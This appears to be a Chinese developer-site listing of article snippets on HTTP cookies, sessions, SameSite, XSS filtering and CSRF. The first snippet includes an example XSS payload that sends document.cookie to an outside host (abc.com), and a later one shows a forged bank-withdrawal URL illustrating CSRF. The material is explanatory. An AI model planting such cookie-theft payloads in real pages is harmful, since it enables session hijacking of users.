    当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。例子: <a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`...
  • Cookie详解

    2013-06-18 16:49:32
    Cookie,复数形态Cookies,中文名称为小型文本文件。指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废除)。为网景公司的前雇员Lou Montulli在1993...
  • 我这个只防了script,但是还有很多其他的标签,如frame,img(带攻击的链接图片)等,标签实在非常之多,绕过过滤检测的方法也五花八门,对人们来说简直是防不胜防。所有我就参考了网上一个代码 解决方法: 一种方法...
  • 关于Cookie

    2014-05-13 09:22:54
    Cookie总是保存在客户端中,按在客户端中的存储位置,可分为内存Cookie和硬盘Cookie。 内存Cookie由浏览器维护,保存在内存中,浏览器关闭后就消失了,其存在时间是短暂的。硬盘Cookie保存在硬盘里,有一个过期时间...
  • Servlet——Cookie

    千次阅读 2016-05-09 12:30:13
    本文介绍了Servlet中的Cookie技术,介绍了Cookie的概念以及用法,介绍了如何在Servlet中使用Cookie。并简单介绍了Cookie一个小应用
  • Cookie 的 SameSite 属性

    2021-01-15 11:34:57
    Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击和用户追踪。 一、CSRF 攻击是什么? Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求,这...
  • cookie机制

    千次阅读 2014-01-16 23:19:10
    cookie和session机制之间的区别与联系 具体来说cookie机制采用的是在客户端保持状态的方案。它是在用户端的会话状态的存贮机制,他需要用户打开客户端的cookie支持。cookie的作用就是为了解决HTTP协议无状态的缺陷...
  • 有另外一种比较隐蔽的用户追踪技术,不使用cookie或者Javascript。很多网站已经在用了,但知道的人不多。本文就来介绍一下这种技术是如何追踪用户,用户又该如何避免追踪。 这种技术不依赖于: ...
  • 利用flex秘密窃取商业网站的Cookie(XSS跨站攻击)-----luodfu现在电子商务越来越活,电子商务网上购物已经成为我们生活中不可缺少的一部分。因此,电子商务网站的安全在电子商务网站也是很重要的部分。保护网站用户...
  • HTTP cookie 详细介绍

    千次阅读 2018-08-09 10:05:03
    HTTP Cookie: Cookie通常也叫做网站cookie,浏览器cookie或者httpcookie,是保存在用户浏览器端的,并在发出http请求时会默认携带的一段文本片段。...Cookie不是软件,所以它不能被携带病毒,不能执行恶意...
  • tornado cookiecookie安全

    千次阅读 2015-05-08 14:45:41
    CSRF 的意思简单来说就是,攻击者伪造真实用户来发送请求。 举例来说,假设某个银行网站有这样的 URL: http://bank.example.com/withdraw?amount=1000000&for=Eve 当这个银行网站的用户访问该 URL 时,

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 23,769
精华内容 9,507
关键字:

cookie图片攻击